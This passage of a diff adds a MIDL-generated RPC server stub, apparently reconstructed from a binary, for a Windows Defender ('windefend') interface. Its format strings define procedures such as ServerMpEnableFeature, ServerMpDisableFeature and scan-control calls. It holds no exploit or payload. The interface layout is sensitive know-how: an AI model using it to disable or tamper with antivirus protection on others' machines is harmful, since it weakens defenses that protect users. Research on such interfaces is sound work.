+{{0x71710533,0xbeba,0x4937,{0x83,0x19,0xb5,0xdb,0xef,0x9c,0xcc,0x36}},{1,0}}; + +#if defined(_CONTROL_FLOW_GUARD_XFG) +#define XFG_TRAMPOLINES(ObjectType)\ +NDR_SHAREABLE unsigned long ObjectType ## _UserSize_XFG(unsigned long * pFlags, unsigned long Offset, void * pObject)\ +{\ +return ObjectType ## _UserSize(pFlags, Offset, (ObjectType *)pObject);\ +}\ +NDR_SHAREABLE unsigned char * ObjectType ## _UserMarshal_XFG(unsigned long * pFlags, unsigned char * pBuffer, void * pObject)\ +{\ +return ObjectType ## _UserMarshal(pFlags, pBuffer, (ObjectType *)pObject);\ +}\ +NDR_SHAREABLE unsigned char * ObjectType ## _UserUnmarshal_XFG(unsigned long * pFlags, unsigned char * pBuffer, void * pObject)\ +{\ +return ObjectType ## _UserUnmarshal(pFlags, pBuffer, (ObjectType *)pObject);\ +}\ +NDR_SHAREABLE void ObjectType ## _UserFree_XFG(unsigned long * pFlags, void * pObject)\ +{\ +ObjectType ## _UserFree(pFlags, (ObjectType *)pObject);\ +} +#define XFG_TRAMPOLINES64(ObjectType)\ +NDR_SHAREABLE unsigned long ObjectType ## _UserSize64_XFG(unsigned long * pFlags, unsigned long Offset, void * pObject)\ +{\ +return ObjectType ## _UserSize64(pFlags, Offset, (ObjectType *)pObject);\ +}\ +NDR_SHAREABLE unsigned char * ObjectType ## _UserMarshal64_XFG(unsigned long * pFlags, unsigned char * pBuffer, void * pObject)\ +{\ +return ObjectType ## _UserMarshal64(pFlags, pBuffer, (ObjectType *)pObject);\ +}\ +NDR_SHAREABLE unsigned char * ObjectType ## _UserUnmarshal64_XFG(unsigned long * pFlags, unsigned char * pBuffer, void * pObject)\ +{\ +return ObjectType ## _UserUnmarshal64(pFlags, pBuffer, (ObjectType *)pObject);\ +}\ +NDR_SHAREABLE void ObjectType ## _UserFree64_XFG(unsigned long * pFlags, void * pObject)\ +{\ +ObjectType ## _UserFree64(pFlags, (ObjectType *)pObject);\ +} +#define XFG_BIND_TRAMPOLINES(HandleType, ObjectType)\ +static void* ObjectType ## _bind_XFG(HandleType pObject)\ +{\ +return ObjectType ## _bind((ObjectType) pObject);\ +}\ +static void ObjectType ## _unbind_XFG(HandleType pObject, handle_t ServerHandle)\ +{\ +ObjectType ## _unbind((ObjectType) pObject, ServerHandle);\ +} +#define XFG_TRAMPOLINE_FPTR(Function) Function ## _XFG +#define XFG_TRAMPOLINE_FPTR_DEPENDENT_SYMBOL(Symbol) Symbol ## _XFG +#else +#define XFG_TRAMPOLINES(ObjectType) +#define XFG_TRAMPOLINES64(ObjectType) +#define XFG_BIND_TRAMPOLINES(HandleType, ObjectType) +#define XFG_TRAMPOLINE_FPTR(Function) Function +#define XFG_TRAMPOLINE_FPTR_DEPENDENT_SYMBOL(Symbol) Symbol +#endif + + +extern const windefend_MIDL_TYPE_FORMAT_STRING windefend__MIDL_TypeFormatString; +extern const windefend_MIDL_PROC_FORMAT_STRING windefend__MIDL_ProcFormatString; +extern const windefend_MIDL_EXPR_FORMAT_STRING windefend__MIDL_ExprFormatString; + +/* Standard interface: DefaultIfName, ver. 2.0, + GUID={0xc503f532,0x443a,0x4c69,{0x83,0x00,0xcc,0xd1,0xfb,0xdb,0x38,0x39}} */ + + +extern const MIDL_SERVER_INFO DefaultIfName_ServerInfo; + +extern const RPC_DISPATCH_TABLE DefaultIfName_v2_0_DispatchTable; + +static const RPC_SERVER_INTERFACE DefaultIfName___RpcServerInterface = + { + sizeof(RPC_SERVER_INTERFACE), + {{0xc503f532,0x443a,0x4c69,{0x83,0x00,0xcc,0xd1,0xfb,0xdb,0x38,0x39}},{2,0}}, + {{0x8A885D04,0x1CEB,0x11C9,{0x9F,0xE8,0x08,0x00,0x2B,0x10,0x48,0x60}},{2,0}}, + (RPC_DISPATCH_TABLE*)&DefaultIfName_v2_0_DispatchTable, + 0, + 0, + 0, + &DefaultIfName_ServerInfo, + 0x06000000 + }; +RPC_IF_HANDLE DefaultIfName_v2_0_s_ifspec = (RPC_IF_HANDLE)& DefaultIfName___RpcServerInterface; +#ifdef __cplusplus +namespace { +#endif + +extern const MIDL_STUB_DESC DefaultIfName_StubDesc; +#ifdef __cplusplus +} +#endif + +extern const NDR_RUNDOWN RundownRoutines[]; + +#if !defined(__RPC_WIN64__) +#error Invalid build platform for this stub. +#endif + +static const windefend_MIDL_PROC_FORMAT_STRING windefend__MIDL_ProcFormatString = + { + 0, + { + + /* Procedure Proc0_ServerMpEnableFeature */ + + 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 2 */ NdrFcLong( 0x0 ), /* 0 */ +/* 6 */ NdrFcShort( 0x0 ), /* 0 */ +/* 8 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */ +/* 10 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 12 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 14 */ NdrFcShort( 0x10 ), /* 16 */ +/* 16 */ NdrFcShort( 0x24 ), /* 36 */ +/* 18 */ 0x44, /* Oi2 Flags: has return, has ext, */ + 0x4, /* 4 */ +/* 20 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 22 */ NdrFcShort( 0x0 ), /* 0 */ +/* 24 */ NdrFcShort( 0x0 ), /* 0 */ +/* 26 */ NdrFcShort( 0x0 ), /* 0 */ +/* 28 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 30 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 32 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 34 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_2 */ + +/* 36 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 38 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 40 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_3 */ + +/* 42 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 44 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 46 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 48 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 50 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 52 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc1_ServerMpDisableFeature */ + +/* 54 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 56 */ NdrFcLong( 0x0 ), /* 0 */ +/* 60 */ NdrFcShort( 0x1 ), /* 1 */ +/* 62 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 64 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 66 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 68 */ NdrFcShort( 0x8 ), /* 8 */ +/* 70 */ NdrFcShort( 0x24 ), /* 36 */ +/* 72 */ 0x44, /* Oi2 Flags: has return, has ext, */ + 0x3, /* 3 */ +/* 74 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 76 */ NdrFcShort( 0x0 ), /* 0 */ +/* 78 */ NdrFcShort( 0x0 ), /* 0 */ +/* 80 */ NdrFcShort( 0x0 ), /* 0 */ +/* 82 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 84 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 86 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 88 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_2 */ + +/* 90 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 92 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 94 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 96 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 98 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 100 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc2_ServerMpQueryStatus */ + +/* 102 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 104 */ NdrFcLong( 0x0 ), /* 0 */ +/* 108 */ NdrFcShort( 0x2 ), /* 2 */ +/* 110 */ NdrFcShort( 0x30 ), /* X64 Stack size/offset = 48 */ +/* 112 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 114 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 116 */ NdrFcShort( 0x10 ), /* 16 */ +/* 118 */ NdrFcShort( 0x24 ), /* 36 */ +/* 120 */ 0x45, /* Oi2 Flags: srv must size, has return, has ext, */ + 0x5, /* 5 */ +/* 122 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 124 */ NdrFcShort( 0x0 ), /* 0 */ +/* 126 */ NdrFcShort( 0x0 ), /* 0 */ +/* 128 */ NdrFcShort( 0x0 ), /* 0 */ +/* 130 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 132 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 134 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 136 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_2 */ + +/* 138 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 140 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 142 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_3 */ + +/* 144 */ NdrFcShort( 0x113 ), /* Flags: must size, must free, out, simple ref, */ +/* 146 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 148 */ NdrFcShort( 0x90 ), /* Type Offset=144 */ + + /* Parameter arg_4 */ + +/* 150 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 152 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 154 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 156 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 158 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */ +/* 160 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc3_ServerMpEventOpen */ + +/* 162 */ 0x33, /* FC_AUTO_HANDLE */ + 0x48, /* Old Flags: */ +/* 164 */ NdrFcLong( 0x0 ), /* 0 */ +/* 168 */ NdrFcShort( 0x3 ), /* 3 */ +/* 170 */ NdrFcShort( 0x40 ), /* X64 Stack size/offset = 64 */ +/* 172 */ NdrFcShort( 0x20 ), /* 32 */ +/* 174 */ NdrFcShort( 0xa0 ), /* 160 */ +/* 176 */ 0x44, /* Oi2 Flags: has return, has ext, */ + 0x8, /* 8 */ +/* 178 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 180 */ NdrFcShort( 0x0 ), /* 0 */ +/* 182 */ NdrFcShort( 0x0 ), /* 0 */ +/* 184 */ NdrFcShort( 0x0 ), /* 0 */ +/* 186 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 188 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 190 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 192 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_2 */ + +/* 194 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 196 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 198 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_3 */ + +/* 200 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 202 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 204 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_4 */ + +/* 206 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 208 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 210 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_5 */ + +/* 212 */ NdrFcShort( 0x4112 ), /* Flags: must free, out, simple ref, srv alloc size=16 */ +/* 214 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 216 */ NdrFcShort( 0x10 ), /* Type Offset=16 */ + + /* Parameter arg_6 */ + +/* 218 */ NdrFcShort( 0x110 ), /* Flags: out, simple ref, */ +/* 220 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */ +/* 222 */ NdrFcShort( 0xbc ), /* Type Offset=188 */ + + /* Parameter arg_7 */ + +/* 224 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 226 */ NdrFcShort( 0x30 ), /* X64 Stack size/offset = 48 */ +/* 228 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 230 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 232 */ NdrFcShort( 0x38 ), /* X64 Stack size/offset = 56 */ +/* 234 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc4_ServerMpEventClose */ + +/* 236 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 238 */ NdrFcLong( 0x0 ), /* 0 */ +/* 242 */ NdrFcShort( 0x4 ), /* 4 */ +/* 244 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 246 */ 0x30, /* FC_BIND_CONTEXT */ + 0xe0, /* Ctxt flags: via ptr, in, out, */ +/* 248 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 250 */ 0x0, /* 0 */ + 0x0, /* 0 */ +/* 252 */ NdrFcShort( 0x38 ), /* 56 */ +/* 254 */ NdrFcShort( 0x5c ), /* 92 */ +/* 256 */ 0x44, /* Oi2 Flags: has return, has ext, */ + 0x3, /* 3 */ +/* 258 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 260 */ NdrFcShort( 0x0 ), /* 0 */ +/* 262 */ NdrFcShort( 0x0 ), /* 0 */ +/* 264 */ NdrFcShort( 0x0 ), /* 0 */ +/* 266 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 268 */ NdrFcShort( 0x118 ), /* Flags: in, out, simple ref, */ +/* 270 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 272 */ NdrFcShort( 0xc4 ), /* Type Offset=196 */ + + /* Parameter arg_2 */ + +/* 274 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 276 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 278 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 280 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 282 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 284 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc5_ServerMpEventQueryNotification */ + +/* 286 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 288 */ NdrFcLong( 0x0 ), /* 0 */ +/* 292 */ NdrFcShort( 0x5 ), /* 5 */ +/* 294 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 296 */ 0x30, /* FC_BIND_CONTEXT */ + 0x40, /* Ctxt flags: in, */ +/* 298 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 300 */ 0x0, /* 0 */ + 0x0, /* 0 */ +/* 302 */ NdrFcShort( 0x24 ), /* 36 */ +/* 304 */ NdrFcShort( 0x24 ), /* 36 */ +/* 306 */ 0x45, /* Oi2 Flags: srv must size, has return, has ext, */ + 0x4, /* 4 */ +/* 308 */ 0xa, /* 10 */ + 0x3, /* Ext Flags: new corr desc, clt corr check, */ +/* 310 */ NdrFcShort( 0x1 ), /* 1 */ +/* 312 */ NdrFcShort( 0x0 ), /* 0 */ +/* 314 */ NdrFcShort( 0x0 ), /* 0 */ +/* 316 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_0 */ + +/* 318 */ NdrFcShort( 0x8 ), /* Flags: in, */ +/* 320 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 322 */ NdrFcShort( 0xc8 ), /* Type Offset=200 */ + + /* Parameter arg_1 */ + +/* 324 */ NdrFcShort( 0x2013 ), /* Flags: must size, must free, out, srv alloc size=8 */ +/* 326 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 328 */ NdrFcShort( 0xcc ), /* Type Offset=204 */ + + /* Parameter arg_2 */ + +/* 330 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 332 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 334 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 336 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 338 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 340 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc6_ServerMpOnDemandStartScan */ + +/* 342 */ 0x33, /* FC_AUTO_HANDLE */ + 0x48, /* Old Flags: */ +/* 344 */ NdrFcLong( 0x0 ), /* 0 */ +/* 348 */ NdrFcShort( 0x6 ), /* 6 */ +/* 350 */ NdrFcShort( 0x50 ), /* X64 Stack size/offset = 80 */ +/* 352 */ NdrFcShort( 0x28 ), /* 40 */ +/* 354 */ NdrFcShort( 0xa0 ), /* 160 */ +/* 356 */ 0x46, /* Oi2 Flags: clt must size, has return, has ext, */ + 0xa, /* 10 */ +/* 358 */ 0xa, /* 10 */ + 0x5, /* Ext Flags: new corr desc, srv corr check, */ +/* 360 */ NdrFcShort( 0x0 ), /* 0 */ +/* 362 */ NdrFcShort( 0x1 ), /* 1 */ +/* 364 */ NdrFcShort( 0x0 ), /* 0 */ +/* 366 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 368 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 370 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 372 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_2 */ + +/* 374 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 376 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 378 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_3 */ + +/* 380 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 382 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 384 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_4 */ + +/* 386 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 388 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 390 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_5 */ + +/* 392 */ NdrFcShort( 0xb ), /* Flags: must size, must free, in, */ +/* 394 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 396 */ NdrFcShort( 0x3e0 ), /* Type Offset=992 */ + + /* Parameter arg_6 */ + +/* 398 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 400 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */ +/* 402 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_7 */ + +/* 404 */ NdrFcShort( 0x4112 ), /* Flags: must free, out, simple ref, srv alloc size=16 */ +/* 406 */ NdrFcShort( 0x30 ), /* X64 Stack size/offset = 48 */ +/* 408 */ NdrFcShort( 0x10 ), /* Type Offset=16 */ + + /* Parameter arg_8 */ + +/* 410 */ NdrFcShort( 0x110 ), /* Flags: out, simple ref, */ +/* 412 */ NdrFcShort( 0x38 ), /* X64 Stack size/offset = 56 */ +/* 414 */ NdrFcShort( 0xbc ), /* Type Offset=188 */ + + /* Parameter arg_9 */ + +/* 416 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 418 */ NdrFcShort( 0x40 ), /* X64 Stack size/offset = 64 */ +/* 420 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 422 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 424 */ NdrFcShort( 0x48 ), /* X64 Stack size/offset = 72 */ +/* 426 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc7_ServerMpOnDemandQueryNotification */ + +/* 428 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 430 */ NdrFcLong( 0x0 ), /* 0 */ +/* 434 */ NdrFcShort( 0x7 ), /* 7 */ +/* 436 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 438 */ 0x30, /* FC_BIND_CONTEXT */ + 0x40, /* Ctxt flags: in, */ +/* 440 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 442 */ 0x0, /* 0 */ + 0x0, /* 0 */ +/* 444 */ NdrFcShort( 0x24 ), /* 36 */ +/* 446 */ NdrFcShort( 0x24 ), /* 36 */ +/* 448 */ 0x45, /* Oi2 Flags: srv must size, has return, has ext, */ + 0x4, /* 4 */ +/* 450 */ 0xa, /* 10 */ + 0x3, /* Ext Flags: new corr desc, clt corr check, */ +/* 452 */ NdrFcShort( 0x1 ), /* 1 */ +/* 454 */ NdrFcShort( 0x0 ), /* 0 */ +/* 456 */ NdrFcShort( 0x0 ), /* 0 */ +/* 458 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_0 */ + +/* 460 */ NdrFcShort( 0x8 ), /* Flags: in, */ +/* 462 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 464 */ NdrFcShort( 0xc8 ), /* Type Offset=200 */ + + /* Parameter arg_1 */ + +/* 466 */ NdrFcShort( 0x2013 ), /* Flags: must size, must free, out, srv alloc size=8 */ +/* 468 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 470 */ NdrFcShort( 0xcc ), /* Type Offset=204 */ + + /* Parameter arg_2 */ + +/* 472 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 474 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 476 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 478 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 480 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 482 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc8_ServerMpOnDemandQueryScanResult */ + +/* 484 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 486 */ NdrFcLong( 0x0 ), /* 0 */ +/* 490 */ NdrFcShort( 0x8 ), /* 8 */ +/* 492 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 494 */ 0x30, /* FC_BIND_CONTEXT */ + 0x40, /* Ctxt flags: in, */ +/* 496 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 498 */ 0x0, /* 0 */ + 0x0, /* 0 */ +/* 500 */ NdrFcShort( 0x24 ), /* 36 */ +/* 502 */ NdrFcShort( 0x24 ), /* 36 */ +/* 504 */ 0x45, /* Oi2 Flags: srv must size, has return, has ext, */ + 0x4, /* 4 */ +/* 506 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 508 */ NdrFcShort( 0x0 ), /* 0 */ +/* 510 */ NdrFcShort( 0x0 ), /* 0 */ +/* 512 */ NdrFcShort( 0x0 ), /* 0 */ +/* 514 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_0 */ + +/* 516 */ NdrFcShort( 0x8 ), /* Flags: in, */ +/* 518 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 520 */ NdrFcShort( 0xc8 ), /* Type Offset=200 */ + + /* Parameter arg_1 */ + +/* 522 */ NdrFcShort( 0x113 ), /* Flags: must size, must free, out, simple ref, */ +/* 524 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 526 */ NdrFcShort( 0x4e ), /* Type Offset=78 */ + + /* Parameter arg_2 */ + +/* 528 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 530 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 532 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 534 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 536 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 538 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc9_ServerMpOnDemandControlScan */ + +/* 540 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 542 */ NdrFcLong( 0x0 ), /* 0 */ +/* 546 */ NdrFcShort( 0x9 ), /* 9 */ +/* 548 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 550 */ 0x30, /* FC_BIND_CONTEXT */ + 0x40, /* Ctxt flags: in, */ +/* 552 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 554 */ 0x0, /* 0 */ + 0x0, /* 0 */ +/* 556 */ NdrFcShort( 0x2c ), /* 44 */ +/* 558 */ NdrFcShort( 0x24 ), /* 36 */ +/* 560 */ 0x44, /* Oi2 Flags: has return, has ext, */ + 0x4, /* 4 */ +/* 562 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 564 */ NdrFcShort( 0x0 ), /* 0 */ +/* 566 */ NdrFcShort( 0x0 ), /* 0 */ +/* 568 */ NdrFcShort( 0x0 ), /* 0 */ +/* 570 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_0 */ + +/* 572 */ NdrFcShort( 0x8 ), /* Flags: in, */ +/* 574 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 576 */ NdrFcShort( 0xc8 ), /* Type Offset=200 */ + + /* Parameter arg_1 */ + +/* 578 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 580 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 582 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_2 */ + +/* 584 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 586 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 588 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 590 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 592 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 594 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc10_ServerMpOnDemandControlSystemScan */ + +/* 596 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 598 */ NdrFcLong( 0x0 ), /* 0 */ +/* 602 */ NdrFcShort( 0xa ), /* 10 */ +/* 604 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 606 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 608 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 610 */ NdrFcShort( 0x8 ), /* 8 */ +/* 612 */ NdrFcShort( 0x24 ), /* 36 */ +/* 614 */ 0x44, /* Oi2 Flags: has return, has ext, */ + 0x3, /* 3 */ +/* 616 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 618 */ NdrFcShort( 0x0 ), /* 0 */ +/* 620 */ NdrFcShort( 0x0 ), /* 0 */ +/* 622 */ NdrFcShort( 0x0 ), /* 0 */ +/* 624 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 626 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 628 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 630 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_2 */ + +/* 632 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 634 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 636 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 638 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 640 */ NdrFcShort( 0x18 